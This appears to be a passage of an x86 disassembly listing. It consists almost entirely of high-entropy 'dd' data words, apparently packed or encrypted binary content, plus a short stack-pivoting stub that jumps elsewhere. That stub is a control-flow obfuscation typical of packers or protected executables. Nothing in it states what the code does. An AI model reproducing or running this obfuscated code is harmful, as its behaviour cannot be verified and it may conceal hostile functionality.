		dd 7CD4832Dh, 0BC0C41FAh, 7CFB7B87h, 6E4B10Bh, 7660D31Ah
		dd 9612E15h, 15D5DD73h,	0CEF95254h, 93h, 4BC67709h, 8A4A5071h
		dd 2EADBF0Dh, 75917AAFh, 71EA6CC4h, 0E5D351AEh,	9E514F04h
		dd 4C0D1FADh, 0EF6DFFCDh, 22885C6Ch, 9AE436FEh,	64D6CC96h
		dd 894BD1EBh, 5489BA0Eh, 8ADE9FFBh, 711449CEh, 0EAAD24A9h
		dd 0E6383A0Bh, 43B44F04h, 0B638C296h, 0F3D2AF3Dh, 5FFA0DA7h
		dd 0B66375C8h, 462DE42Ch, 0B72E15BBh, 4Ch, 0CC4B0A10h
		dd 0C6774A03h, 4A50714Bh, 80B3098Eh, 8A0DCBD7h,	2F7B6A3Eh
		dd 0AB9830AFh, 5DBCE4EEh, 3657898h, 957936E7h, 77A83DA0h
		dd 228144C3h, 4E65FDDh,	0B11ADD4Fh, 0E643241Bh,	0DFED4F04h
		dd 0C9291AD3h, 1522E14h, 85000000h
		dd 7547C277h, 0D3E960D7h, 3B61A10Bh, 94EE69EFh,	0A2ECA922h
		dd 5FDD2237h, 0DD4F04E6h, 0D3048333h, 71E33F9Eh, 0CC9C1BDFh
		dd 55E82217h, 1DC2F767h, 46315401h, 7B440B89h, 54E9D28Eh
		dd 85A735E6h, 7AF8C5D6h, 0FA54E9D0h, 0EF6EED39h, 923566DDh
		dd 7048C388h, 0E9D06BCFh, 50DEF54h, 0D1F477E4h,	450D98F2h
		dd 3DFE9E5Fh, 6813650h,	0A823A8B2h, 0A53FBDE5h,	0ED3550B3h
		dd 0BC194A8Ch, 0F939811Ch, 0B5D85318h, 0F920FE45h, 1456F33h
		dd 0F9580000h, 0E931A684h, 78D50654h, 0ED6FD853h, 3CCD52Ah
		dd 67A854E9h, 8900B755h, 0FFC0A706h, 54E9037Dh,	27A615FFh
		dd 0A06D5E95h, 6276F166h, 0C09813D8h, 4CADD5B5h, 0B9890C8Fh
		dd 33F8E5CAh, 7733h, 62D85A00h,	7CFD25E8h, 0D7E566D4h
		dd 9F6E2B1Ch, 6B56D238h, 315D968Ch, 0DF6D1F64h,	0CCF4F05h
		dd 0DEA98BBCh, 0EC6B4F05h, 0BCD5F6Dh, 1D94AB89h, 7AAF3730h
		dd 0CC349E6Eh, 0D1D1B904h, 0FEA12B9Fh, 0BB920994h, 410AB9D1h
		dd 47B81FFEh, 4F050AE5h, 0FA3B9447h, 4F050BC8h,	0D282987Fh
		dd 0B0E6C55h, 4A0E4F05h, 5A44FFCDh, 4DCC8D99h, 6F0BC47Fh
		dd 8CAA29ACh, 0FD000000h, 2AED6FD8h, 0E8F6F8D5h, 29837454h
		dd 0A225A413h, 0B010C7C3h, 392ABE39h, 90EDF4C4h, 54E8F592h
		dd 23EC2112h, 16F970E7h, 0F1CB4C0Ch, 1CC38942h,	54E8F719h
		dd 82D65105h, 6F7DF678h, 39F1319Bh, 20C1C1ABh, 0D95019ABh
		dd 0D996E1E4h, 5E8BF45Bh, 6D5AD41Ch, 0E7966105h, 9F78E4DBh
		dd 72882013h, 967642C5h, 0DD8AC4CCh, 5A87F85Fh,	6154FFC8h
		dd 634AFD09h, 0EFA8E62Bh, 36B139C3h, 997CB1A2h,	9B67C53Ah
		dd 12C554E9h, 0CCB126B9h, 40EFFAE6h, 6A27A1A8h,	0F154D68Fh
		dd 0F041638Ch, 9D40B354h, 0F963C13Eh, 0EC154EFh, 46F51745h
		dd 9D5AC0C7h, 0ED6FBB1Ah, 0C339972h, 0B2BF8C21h, 0E86AB015h
		dd 0F838A26Fh, 0B4DB5219h, 5A6EE96Eh, 0C7950EC0h, 0BC3C6667h
		dd 0D9B2A13Bh, 0E754B5FDh, 32B96164h, 0C1A021BBh, 29677EFCh
		dd 5DDA9EA7h, 40AAD40Fh, 8AB9138Ch, 8C9FC59h, 1C000000h
		dd 0FC7BA706h, 773B907Dh, 0ED7F4DC4h, 4FDDEF6Eh, 0A0BA0E89h
		dd 319B32Ch, 6785D752h,	0DB617BF6h, 30CA9E19h, 90AA3EB9h
		dd 0B30D5FD8h, 81E68956h, 4C6h,	4EE8300h, 5C243487h, 50243489h
		dd 405E089h, 2D000000h,	4, 5C240487h, 68240C89h, 7FA5h
		dd 52243489h, 49707DBAh, 0B6456872h, 15993A1h, 8B545AD1h
		dd 0C4832434h, 8B85004h, 1000000h, 0BB53F0h, 1000000h
		dd 5B0B89C3h, 2434FF58h, 4C4815Eh, 0FF000000h, 83592434h
		dd 0D3E904C4h, 0A0FFF951h, 78F6BFAEh, 0A8E040D6h, 2856D165h
		dd 2B83B839h, 0C50305EBh, 67E2E0FFh, 38A74E75h,	0FA3457DAh
		dd 0CA9F2ED0h, 0FD4B7F44h, 0FEC44350h, 6E6B2880h, 7DE7471Ah
		dd 42CC1E9Fh, 2D3077B4h, 49802CD8h, 9C25587Eh, 0D8500C3Bh
		dd 0EDE90E3Eh, 60000000h, 0A8D88C66h, 0DF840F04h, 8B000000h
		dd 0E41501B5h, 0FE8305h, 22850Fh, 85C60000h, 5E42A49h
		dd 69696845h, 0B5FF8E72h, 5E428E5h, 6D30858Dh, 0D0FF05E7h
		dd 2418589h, 0F08B05E4h, 0FE93E80h, 3185h, 0B858D00h, 0FF05E971h
		dd 0B5BD8BD0h, 8105E41Ah, 1184C7h, 1B58B00h, 8705E415h
		dd 8B9F7h, 0A4F30000h, 1501B58Bh, 858D05E4h, 5E79ED9h
		dd 0B58BD0FFh, 5E423E1h, 0F00FE83h, 2285h, 4985C600h, 5405E42Ah
		dd 4EBEF468h, 0E5B5FFFFh, 8D05E428h, 0E76D3085h, 89D0FF05h
		dd 0E423E185h, 80F08B05h, 850FE93Eh, 3Ah, 23E1B58Bh, 858D05E4h
		dd 5E9710Bh, 0BD8BD0FFh, 5E41AB5h, 1184C781h, 0C7830000h
		dd 0E1B58B08h, 8705E423h, 8B9F7h, 0A4F30000h, 23E1B58Bh
		dd 858D05E4h, 5E79ED9h,	0C361D0FFh, 2C42858Dh, 858905EBh
		dd 5E4224Dh, 8E8h, 93DE7100h, 634EC9A1h, 10E96002h, 0CA000000h
		dd 4F48F7ADh, 0D0C93B7Ch, 0D4994965h, 0E9B3DA1Fh, 14h
		dd 288F2539h, 0CC8B7F08h, 510994h, 99186C6Dh, 76E70535h
		dd 0DA8B5961h, 6A97C181h, 0B8600000h, 265975E4h, 189CEB81h
		dd 0B8612030h, 0
		dd 34FFD98Bh, 0FEB70F08h, 0A689BE5Ah, 0EA8175F1h, 4E2B1D26h
		dd 58E0Fh, 81660000h, 8108E5F3h, 0F209E2C2h, 0FE8B660Eh
		dd 0DE41EA81h, 0C9BF0D68h, 896EBE81h, 8E80114h,	94000000h
		dd 7C96F406h, 660082B0h, 815BF28Bh, 66FFACE8h, 0D2BB6603h
		dd 0A8C081D6h, 0E90366FFh, 13h,	22BD6166h, 8D3A53F0h, 0A8484A5Ah
		dd 0FC74651Dh, 817E5AD9h, 0FF9650F8h, 0C850FFFh, 8B000000h
		dd 16E9DAh, 3BA40000h, 804BA251h, 73E985E7h, 0C9FFFFFFh
		dd 0BC392FBh, 0BA485C93h, 2F108D8Dh, 6A05EBh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 89D169C3h
		dd 0E410958Dh, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0CFCC3466h, 0E2BC208Eh
		dd 85C7B3AFh, 5E42C65h,	6900h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0C7C35545h,	89D86204h, 329FE5CFh
		dd 6021B704h, 0EE8h, 233FDF00h,	0B9E30D24h, 0EA078AE2h
		dd 331BD6D5h, 0E4317595h, 21B25B05h, 0FD85C761h, 5E430h
		dd 50000000h, 1415858Bh, 0FF5A05E4h, 0E431EDB5h, 1C08105h
		dd 0FF66981Fh, 0E42A6195h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 6A0DCFh, 10C195FFh
		dd 0C08B05E4h, 0B8CA2CEBh, 0E30BF395h, 7A1299DFh, 89E5690Dh
		dd 0A0136572h, 434BE9Dh, 29FF579h, 4CF93A97h, 7CECDF50h
		dd 3E25AEA6h, 66AEA9BDh, 4EB2751h, 44117F43h, 0DA6E9h
		dd 31006800h, 6FE905EBh, 68FFF94Eh, 5EB3230h, 0F94E65E9h
		dd 349D68FFh, 5BE905EBh, 68FFF94Eh, 5EB35D5h, 0F94E51E9h
		dd 395868FFh, 47E905EBh, 68FFF94Eh, 5EB3A79h, 0F94E3DE9h
		dd 3B7168FFh, 33E905EBh, 0E5FFF94Eh, 4ED4FB72h,	908A0D8Ah
		dd 0E33F5ED9h, 4BD7F671h, 9F880F8Ah, 4DC48920h,	0E31CD04Ah
		dd 37B026FCh, 4ACD8A90h, 90EDBC4Bh, 54F01492h, 773F9412h
		dd 0E97349C0h, 9314C262h, 7AF00A5Eh, 9D51EBC1h,	0B45662h
		dd 8F553587h, 977D4B83h, 4ACD8A6Bh, 0E31EDF4Bh,	36B126FCh
		dd 0CAD398A2h, 6E43D8E0h, 241D21DEh, 4F056446h,	9D0075A6h
		dd 18FF7D2Ah, 75EC61B9h, 0AEF0F567h, 0E93B4A56h, 359ADBB4h
		dd 0B154E961h, 846B6A7Eh, 0E958B9BBh, 1FF83B54h, 0E95950D6h
		dd 0E32FFB54h, 0F940592Ah, 0BC306A33h, 0D1BAA903h, 37E6h
		dd 0D6CC3100h, 4B2EEB64h, 704D1092h, 54E907FBh,	3F20B87Bh
		dd 54E90839h, 3CA3694h,	33F8EB40h, 2203E241h, 54E8FC40h
		dd 280A7BBCh, 8454E8FCh, 0E2CF8653h, 0E000000h,	0E860C077h
		dd 0B5E65D6Fh, 3B54BE27h, 4010A1E6h, 35B8E2AFh,	0DCFDBBAh
		dd 400DC692h, 0C245F208h, 64E754F6h, 0C5799C61h, 0BF1E4F05h
		dd 5C4E446h, 0C28F404Fh, 0F59813D8h, 4BCC8C96h,	0D09C271h
		dd 0C0FDCF4Eh, 0E8329517h, 5B2AE760h, 0B52BAEF4h, 0C8EA9E74h
		dd 5CE036Dh, 0E9B14F3Ch, 0A96CAF54h, 957EF971h,	4CCE87F2h
		dd 199DB489h, 28025AD0h, 0C9897233h, 1AD666Fh, 0A2130FCEh
		dd 0FB7AA027h, 0EA497F7Ch, 6AEE2220h, 0B418Bh, 4DC47700h
		dd 9F18D04Ah, 30B722F8h, 48C375ADh, 0E118DD45h,	1B8E29FEh
		dd 62B8DF5Ah, 0C85275F2h, 1C068902h, 2B9DC5Fh, 17006243h
		dd 0E7C54F0h, 106DCC51h, 4F04E612h, 0AAF4A192h,	81E9AC2Bh
		dd 22031F36h, 4F055C40h, 0D41F7BBCh, 23420F3Fh,	0D6F970E7h
		dd 0ED6FD801h, 860D52Ah, 1BDC54E9h, 73EC6EB4h, 779332A6h
		dd 0A18E4BC6h, 54E907BFh, 9E5F4B0Ah, 37084963h,	54E90835h
		dd 461344B7h, 66DD141Ch, 9733F8EBh, 107h, 66D6CCC6h, 75E22CE9h
		dd 93FFE6F2h, 806C70F6h, 12106DFFh, 924F058Bh, 54A96CA1h
		dd 4F058AD6h, 0EE28E556h, 0BF11D96Fh, 392ABE39h, 63993C4h
		dd 4F058FFFh, 9A3DBC3Bh, 7850CB80h, 0BB3B904Dh,	0CB16D23Ch
		dd 5AA5214Ch, 0EBC7A669h, 529DB847h, 0D6548DE6h, 564F05DAh
		dd 59D099E5h, 67D429FCh, 0C754E9FDh, 0A800BB3Dh, 744746BBh
		dd 695639BBh, 5AD062E1h, 780366Ch, 0A9D5BEB5h, 61C0A766h
		dd 7581E1Ch, 0F05D9E4Fh, 0E5A82796h, 583B3906h,	76B94F07h
		dd 5D100A9Dh, 0EAF98522h, 8E4A2220h, 0A1127h, 1D944700h
		dd 0AF28A07Ah, 0C047F228h, 189345DDh, 0B128AD75h, 0EBBEF92Eh
		dd 32E8EF6Ah, 98820582h, 0EC3659D2h, 52E9EC6Fh,	18303273h
		dd 0FE8C54F0h, 64D6CCA1h, 71E42EEBh, 8C4BD7F6h,	0E5C4A69Fh
		dd 0EF204F04h, 9CFFDBBAh, 0F864CE8Bh, 0CC93329Fh, 48ACC2E6h
		dd 9CE0883h, 0E30C466Dh, 0D9187925h, 77FDDAB7h,	0E97349C0h
		dd 21A4F262h, 0C72C8C26h, 46BB3EBBh, 45DB9B87h,	0A6CDA17Bh
		dd 0DCEC21F1h, 2A1BAA67h, 4F059044h, 0AC9C1F7Bh, 9AB85DCEh
		dd 0C71685B0h, 1DF64D5Dh, 0DCC37AF1h, 0B7169146h, 0B25C305Bh
		dd 59321FB5h, 0EB62E973h, 351DC4D1h, 0A1E62A8h,	0E2ECA965h
		dd 3EBEE4BEh, 0D2B38C98h, 1142F8E5h, 0BC447F5h,	0CED1480Fh
		dd 14EF077Ch, 0EE702Eh,	49510000h, 81B20681h, 6FD887D4h
		dd 7EF02AEDh, 227CF7C5h, 876633B4h, 0E912EDBEh,	68EF0954h
		dd 3B2CBCF1h, 54E91335h, 9CC6CA90h, 0F574E53Dh,	35376CE7h
		dd 0D754E913h, 65DEEA65h, 99DDB679h, 33F8FAAAh,	0A7D3h
		dd 0CD527A00h, 0E64F04E5h, 8EE4AB29h, 0B7F77151h, 0DB59A67Ah
		dd 594F0507h, 15E8A596h, 0E9297B28h, 35589B54h,	0DBF168EDh
		dd 0ECB331EEh, 7F8B04B6h, 0F96A7EF9h, 7774491Ch, 2C5ACD00h
		dd 62E5554Dh, 0C6A49D56h, 264F04F9h, 4F2D12F5h,	0AD4F04FAh
		dd 0D205A16Ah, 4B6ECB3h, 18B037A2h, 71E2F62Bh, 0E9FC7AA4h
		dd 4F99694h, 0F025164Fh, 2030EDD8h, 4FA5DDFh, 2B1CDF4Fh
		dd 0D99D8564h, 1596445Eh, 0E2C38C47h, 54E910CDh, 2AA52872h
		dd 0E8181A6Bh, 0A39454E8h, 840BCCF6h, 0C178FD25h, 22B631A5h
		dd 96616431h, 0B4000005h, 2AED6FD8h, 0E8E764D5h, 0BD0FC054h
		dd 0E8E6A48Ah, 575B2F54h, 865A250Dh, 0CF9D1EDCh, 0CE653A14h
		dd 0B730B8C2h, 11652E25h, 33F99E32h, 5645Bh, 0E948F200h
		dd 0AD70F2ABh, 0E9101750h, 70DC1F54h, 51A2B991h, 590FFE24h
		dd 0E390B7FCh, 6A23FEAEh, 4BD825E8h, 0F0010B0Ah, 0C14E2C11h
		dd 6DAEF8CAh, 87D506A0h, 3372F4DEh, 0CC5A6FD4h,	54FFA803h
		dd 513469E2h, 0E6AF8DF2h, 0CA0DF8C9h, 0F41BE01h, 75FEB154h
		dd 16C7C382h, 0B912C19Bh, 5E1B07E6h, 930ECFDBh,	45410A39h
		dd 0AA701796h, 0A30DAA2Dh, 0C87600F0h, 7A4A100h, 69EA0000h
		dd 8733EFEEh, 0D4859D00h, 66E83255h, 0BD30EAEDh, 2B8A8302h
		dd 5D40FF7Eh, 0F79611C5h, 0AB2AAD2Bh, 5E41F87Fh, 9D9FE0A7h
		dd 1F54F019h, 0C0773269h, 867C4050h, 0DE13A6B8h, 9578137Fh
		dd 0D445E9EAh, 50189EBh, 0F728EB4Fh, 4A03BE1Ah,	591D05C8h
		dd 0AD9275DEh, 54E90190h, 3E642BECh, 39983FB8h,	0D8F06BE1h
		dd 0DE139442h, 28A32975h, 0CDAF90h, 46A54E9h, 0AF54E911h
		dd 1A9D5DF6h, 20876629h, 0E8F15DDFh, 8138BF54h,	4D8E382Bh
		dd 1322A380h, 91425ACDh, 0F22043Bh, 0DDAD4F05h,	0F2271CD5h
		dd 44502E14h, 71000000h, 2CFAD92h, 0EA2D4F05h, 8A0DB90h
		dd 0D8597EDBh, 73A8F46Fh, 0F6EE791Eh, 10D8C285h, 4FCA8B97h
		dd 0BA0DC67Dh, 0E9728C45h, 0B93EE854h, 26E42F59h, 846B2A1Fh
		dd 0E9E2B9BBh, 1FF83B54h, 29F4BDh, 0D8230000h, 24067F6Fh
		dd 804F04E6h
		dd 4ABB1A4Fh, 54E90079h, 59847BD5h, 0CBD190C6h,	8783C296h
		dd 0EFF841D7h, 2181A24Eh, 0CCAA23ECh, 7F246EE6h, 5612406h
		dd 34F804Fh, 9AE48767h,	97F35CDBh, 0AA00A920h, 0DD222289h
		dd 66CB67Fh, 31A20000h,	4F0B17B6h, 9C5DC5C8h, 2EA07A1Dh
		dd 450812B5h, 6352CBCAh, 85088736h, 3F5ED99Dh, 0D3F275E3h
		dd 86098037h, 0D557A8FFh, 5754F01Ah, 0D6CC7A51h, 0D99CE661h
		dd 4906F55Eh, 19B7A7D2h, 0E8AF8B30h, 5729597h, 0F324174Fh
		dd 8DF2D32Ch, 137254E9h, 0E97D50D2h, 366BAC54h,	72E723A2h
		dd 0A56EE5F7h, 0E352F279h, 0CDAC3364h, 7D13116Eh, 779154E9h
		dd 0C164BC6h, 2001CA4Dh, 7C34B7BFh, 15B832E8h, 9077F5A2h
		dd 6328DDBAh, 0DE9AE318h, 9FD00359h, 2D8C5332h,	0F3C940F5h
		dd 60210340h, 0C28371B4h, 0B4607FFDh, 0C93AFD71h, 7AD6270Ch
		dd 0C5367798h, 62E555F7h, 0DD5F0863h, 0C8AA9B7Ah, 24765045h
		dd 0A62197F3h, 0D4BB1AEDh, 52930CCEh, 765045D0h, 0C12EEB2Ch
		dd 7C3468C4h, 0EA5D6FA0h, 71B42884h, 0FE377BCFh, 50C40F85h
		dd 14EF6h, 6FD82100h, 0F8D52AEDh, 7454E900h, 7DDC83h, 54E90022h
		dd 0D4845182h, 0A82F8136h, 77A89B31h, 4A197150h, 0EBE89C41h
		dd 0BDBF8047h, 3F54E95Ch, 40F713FCh, 0C8D2F3C9h, 0E0C18A05h
		dd 7C3497FFh, 0AC4DB50Fh, 0F129AC2Fh, 76E9C37Ah, 98FF6D71h
		dd 0E4050DD7h, 0B211F477h, 0E95CEF4Dh, 1CD61D54h, 3556BA08h
		dd 0FA0C4689h, 65AD4CD3h, 0E03A4D06h, 0F9D8F06Bh, 0A147251Ah
		dd 72A554E9h, 0E16BD299h, 0A183C13Eh, 2EE154E9h, 3CA2886Fh
		dd 82A18E64h, 0BE83E1DEh, 2EE154E9h, 0BE774265h, 85FA593Ch
		dd 54E9BDA7h, 0FA7DFB05h, 570075EEh, 420911F0h,	84210ECBh
		dd 3B5ACDE4h, 26F36EEFh, 0FB015B9Ch, 40DAFD7Ch,	0F38098Bh
		dd 1EA99CAEh, 5B88205Fh, 0A0A73566h, 4F0556DAh,	0AF4EB218h
		dd 0B4EEB128h, 3C378506h, 13F34C53h, 9EC35990h,	4027A62Ch
		dd 296A976Ah, 6D26DC89h, 9933AA21h, 0A11374A6h,	62AEF849h
		dd 0DBC7D483h, 0C3A19E19h, 71411806h, 0E5F37E9h, 9E514D6Ah
		dd 7BF02AADh, 28901DD9h, 18AC55D7h, 2A64D741h, 47B8603Fh
		dd 5DDA9A80h, 517BD40Fh, 6629AB64h, 0FC37F019h,	0C934446h
		dd 454Dh, 0E9046E00h, 7BEA7B12h, 0D82FAC69h, 9417C46Fh
		dd 7BDA0FC4h, 0E908CD0Ah, 0D2E62954h, 80078048h, 5F684221h
		dd 19AF8583h, 7179FB28h, 38FB54E9h, 4493035Fh, 9A7DF7B6h
		dd 8451CA80h, 7766DC21h, 65D654E9h, 0C077BB10h,	0DE278649h
		dd 4F04E65Ch, 2BBA17D8h, 0A265E750h, 0E905A85Dh, 0FCA39454h
		dd 542201Dh, 68A254E9h,	0E275DACFh, 6F281DAAh, 6BE13998h
		dd 0AE6BD8F0h, 5275F664h, 28A002C8h, 0BF9B7AAFh, 596580DFh
		dd 2AACF68Bh, 0F9F4E4B1h, 41231C0Ch, 0A354E8F1h, 67583F70h
		dd 5ACCF1C6h, 0E06775A6h, 4F05017Eh, 1FFE7C29h,	0E923A526h
		dd 4ABB1A54h, 54E91EE8h, 0B93EBA44h, 0BEEF8B44h, 0E91EE341h
		dd 5D8E4154h, 1F56D80Fh, 39BE54E9h, 5AAB2ABEh, 54E91ED8h
		dd 0D287E354h, 75E70557h, 1B07E3FAh, 0FE22F8D3h, 0F9024C37h
		dd 30BD33h, 0CCD80000h,	11D6CFE6h, 0D0BDB122h, 6F2EAC19h
		dd 0E9FBB916h, 62D33D54h, 2D1ED5E7h, 0B8BA8B6Ah, 5454E9B6h
		dd 9C5765E6h, 746431E2h, 218Dh,	6FD8D800h, 0E8D52AEDh
		dd 9F54E900h, 0C5BE9FB3h, 59322895h, 543B9A5Dh,	0E995096Bh
		dd 0EFA86B54h, 0C07712EDh, 5C7C6049h, 49032223h, 2E9E8h
		dd 35AC2F00h, 47C08892h, 981FDA40h, 30AB2DF5h, 49C075ADh
		dd 0B3E6D146h, 1A008702h, 60BADD5Ah, 0B46E71EAh, 7A018407h
		dd 1F58DA2Bh, 0D6D454F0h, 49C077F9h, 0EB62E973h, 0FA784524h
		dd 7A4F04E5h, 0FEC9DCB9h, 0E3DC8301h, 54E8FD1Eh, 0C79546h
		dd 54E8FC1Eh, 0A8C02AA9h, 666E3E66h, 7AA620EDh,	0F8FBD0B3h
		dd 323933h, 0D85C0000h,	0D52AED6Fh, 54E90860h, 9E411BDCh
		dd 54E90798h, 0E22B5733h, 33F8EBA1h, 0DCCAh, 2B14FB00h
		dd 54E8FC49h, 58A568ABh, 54E8FBDAh, 9F3C995Ah, 7349C077h
		dd 17C464E9h, 0F309A394h, 55F7C544h, 9F6067E6h,	4F04EA78h
		dd 11B437A4h, 0F1CB4209h, 0C6890BC4h, 0E904CCF9h, 884EA854h
		dd 3C2A09Dh, 0F12254E9h, 65444BBCh, 0AA3EB93Dh,	6A5FD890h
		dd 9F1DCAA1h, 0ADB3C738h, 604A5ACFh, 9345931Fh,	0F275E510h
		dd 69AAD481h, 7CFEC7A6h, 0F84F07BAh, 9F8B5A37h,	96FCA3DEh
		dd 0E9F3394Dh, 0C908425Ch, 30327BCFh, 59C1E4B1h, 7A5C1D94h
		dd 3D2220EAh, 1C8D69Fh,	4D0E0000h, 0E357B3D2h, 30B96164h
		dd 4A0C16B9h, 0E154CED1h, 7B66766h, 21A42392h, 0DBFA75F9h
		dd 8F0E894Fh, 22A52493h, 79FBC49Bh, 0FB54F020h,	0D6CCD68Dh
		dd 0E32FE867h, 0F1D0F772h, 0EDA621A9h, 2CB32AA1h, 0C46FD8BBh
		dd 0DC69215h, 8C9675D8h, 0BF8451CAh, 54E907C6h,	0EEF7C536h
		dd 0CA8700B4h, 0E90883E5h, 347CCE54h, 0F8EB86FDh, 0D0F733h
		dd 77260000h, 0E97349C0h, 0DD2BF464h, 26B22DA1h, 0A2A0E12Dh
		dd 0F7DEEADFh, 1EAA2DABh, 0FBD14A0Ch, 75BA1748h, 4F04EBD2h
		dd 0F8E09CEh, 40C772A8h, 5835B226h, 5F3EB93Eh, 0BB149343h
		dd 40EBA411h, 79050A8Ch, 5533165Bh, 0A69B4860h,	0A43CBBE7h
		dd 72AD8F17h, 3F98CDE4h, 3E661768h, 15C654E9h, 0CC4E0772h
		dd 0B0253409h, 0A7415ACFh, 2F24B433h, 0D2E661D3h, 31692C61h
		dd 988205BCh, 0BB1D5AD5h, 2220DBh, 0D0E948h, 55060000h
		dd 0EB6FBBDAh, 38B1696Ch, 52041E81h, 0E96CB6D9h, 0FFBE6F6Eh
		dd 29AC2BAAh, 0C3C27DF1h, 77169147h, 2AAD2CABh,	71F3CC93h
		dd 0F354F021h, 0D6CCDEB5h, 0E02AE760h, 4C13F26Dh, 4E5F173h
		dd 0D780734Fh, 6AED6AB0h, 0C077F26Bh, 62E97349h, 2491E4EBh
		dd 0DB9EE7A6h, 5F54F014h, 308803B5h, 60FACE03h,	0B56D70EBh
		dd 32358706h, 96EA5738h, 346E92ECh, 530A6855h, 0A96A9316h
		dd 2035A2ECh, 16535DDFh, 2B1CDF93h, 7EF97EA4h, 0E51ED06Ah
		dd 65AD77D7h, 3154D784h, 9824852h, 0F76680B3h, 26F36078h
		dd 19FC7FFCh, 73EC60BAh, 0B7B5EA59h, 35931652h,	0DDEF6AEBh
		dd 89D93566h, 9CDBDFDBh, 0B41DBF18h, 5973EC6Eh,	3BE21EAh
		dd 0E9000000h, 0C4775106h, 6EED7F4Dh, 894FDDEFh, 2CA0BA0Eh
		dd 520319B3h, 0F66785D7h, 19DB617Bh, 0B930CA9Eh, 0D890AA3Eh
		dd 68B30D5Fh, 3836h, 68242C89h,	1BE3h, 68241C89h, 26C8h
		dd 57242C89h, 942894BFh, 0B9E78141h, 81244C68h,	0B56E4CE7h
		dd 0BFE7816Eh, 8103A128h, 0EB0792F7h, 8BFB8905h, 0C481243Ch
		dd 4, 242C8B54h, 4C481h, 0D4680000h, 89000062h,	0D989240Ch
		dd 59084D89h, 56242C8Bh, 0C681E689h, 4,	8704C683h, 8B5C2434h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54658E
; ---------------------------------------------------------------------------
		db 0DDh
		dd 0BE817A1Eh, 0B85974B0h, 5EB3C66h, 0E0FFC503h, 655F8B70h
		dd 190F3CB5h, 3E61D0E8h, 68EAA958h, 64687D3Ch, 42F8E68Bh
		dd 5701B14Bh, 54AE9AA0h, 2A62BCA5h, 46476A62h, 19D4302Fh
		dd 57172442h, 80B51EEh,	5B6B6320h, 5D7B45DCh, 1A1D3C71h
		dd 721EFD11h, 1F3D3BF7h, 54FDA21Ch, 23226964h, 79C3698Ch
		dd 0EADF04EBh, 88E94AE9h, 2D000005h, 76AC33AAh,	0D84245C2h
		dd 2BF79611h, 73AF2EA9h, 0D74047C2h, 853CB1E8h,	0DB541802h
		dd 6FE86EB4h, 8205B268h, 0D8256403h, 54F0235Ah,	1901ACDAh
		dd 548FDD54h, 0C077D2FBh, 136FE860h, 0DAEE23A6h, 0B3128D40h
		dd 0E59193ECh, 39134F04h, 0F39B5C25h, 523F70B6h, 0E960D733h
		dd 0FD7EFC26h, 319B74EFh, 9F2DAC2Bh, 7E4ACD8Dh,	0DBF16AECh
		dd 44148F41h, 0DD151DE5h, 52B3FFC9h, 0A76362E5h, 70D7B631h
		dd 5C62D0Fh, 24C8F4Fh, 0F8A21A20h, 0E78653ECh, 0CBDE9A80h
		dd 51978FAh, 0CE03F44Fh, 0D8531905h, 0EFFA7A80h, 5189496h
		dd 0EADF104Fh, 118A4CDEh, 0B42FA1BBh, 0F1318924h, 0DDC5AF39h
		dd 9A3DBE3Ch, 0F079CB80h, 0BFF06379h, 0A82179D8h, 7BA89B31h
		dd 4F0518F9h, 0FDDFB87Bh, 518E54Ah, 75BD0F4Fh, 0F577482Fh
		dd 774F0518h, 9CE7CB84h, 0CD2E14FCh, 5Fh, 49C07708h, 0E66CCC73h
		dd 20A84F04h, 0C05C9ABEh, 479B1DEh, 0A42396B4h,	4D1F985Ah
		dd 22EA16FCh, 65ACD4F6h, 2E15B61Eh, 14Fh, 0C3778E00h, 0DD228144h
		dd 4F04E65Fh, 1BB11ADDh, 0FACE4901h, 9E5CEE60h,	0A3944F1Dh
		dd 61A1FB09h, 484FC880h, 23E265D2h, 0E601635Ch,	0B0634F04h
		dd 7717C0E7h, 0EB714BC6h, 0C5D0E86Fh, 0D255041Eh, 0B4555D79h
		dd 1B078601h, 7D8FDD5Ch, 809A7DFCh, 7DF479CBh, 0D683B008h
		dd 54F67882h, 9E5567E0h, 4D0D1FADh, 432FFECAh, 66C4975Fh
		dd 0CF80F33Ah, 95E92E14h, 2C000000h, 714BC677h,	0D1EB6EEBh
		dd 0D1988243h, 0B5D10256h, 8FCB8407h, 74F36283h, 6FCD3291h
		dd 164F04E6h, 4E64B29h,	7C66A94Fh, 53CFDEBBh, 0C1A067E2h
		dd 4E67EFCh, 503DFE4Fh,	7B715978h, 0C519ED52h, 3FB1DDB6h
		dd 81593484h, 0E9EB4881h, 5F1C2E14h, 0BB000000h, 0FC62D6CCh
		dd 552C5DBAh, 0D0BDEE97h, 308807B6h, 642BAC2Ah,	5401BE3Eh
		dd 0F921A004h, 0E467D474h, 550319B3h, 184D86D2h, 0EEF13BFh
		dd 250DD04Fh, 1EE41062h, 405DB9D1h, 0E140866Ah,	3EAF3E9Bh
		dd 0EB64D6CCh, 6DA962D1h, 0E95E6AEDh, 4F04E688h, 0D11818A2h
		dd 2E14C972h, 19Bh, 6DCC3200h, 4E61210h, 0F674494Fh, 764F04E5h
		dd 7FFF1985h, 0D8C28FC0h, 38C29611h, 0D755AAB3h, 554F04E5h
		dd 431BB1E2h, 9158B9F9h, 4B047716h, 0D03906C9h,	2454E911h
		dd 0A2F8D9F3h, 0BFDBB433h, 47F71338h, 10999BC8h, 0FFC054E9h
		dd 54E9117Dh, 51823CFFh, 0E5DAB91Ch, 54E91187h,	465932E5h
		dd 310E1FDCh, 54E91133h, 0BF0D7EB1h, 0CE490C16h, 113C3C05h
		dd 3C9E54E9h, 27A615F4h, 7AFD7AA0h, 9C1FDC6Eh, 3DBA3ECCh
		dd 5DDC9DAFh, 0DCAD40Fh, 5A243E8Ah, 18848756h, 0B59C16C6h
		dd 0D1D1A940h, 0A229BB30h, 63D7F62Bh, 33F94520h, 14249h
		dd 6FD88C00h, 0CCD52AEDh, 0A854E903h, 0FD7AA067h, 18F56E7Ah
		dd 0AA2DAAB0h, 9838BFEBh, 981069CEh, 98E2D707h,	0D40F5DD6h
		dd 39BE647Bh, 5B102ABEh, 56FD8820h, 0A7988D4Ch,	54E935C5h
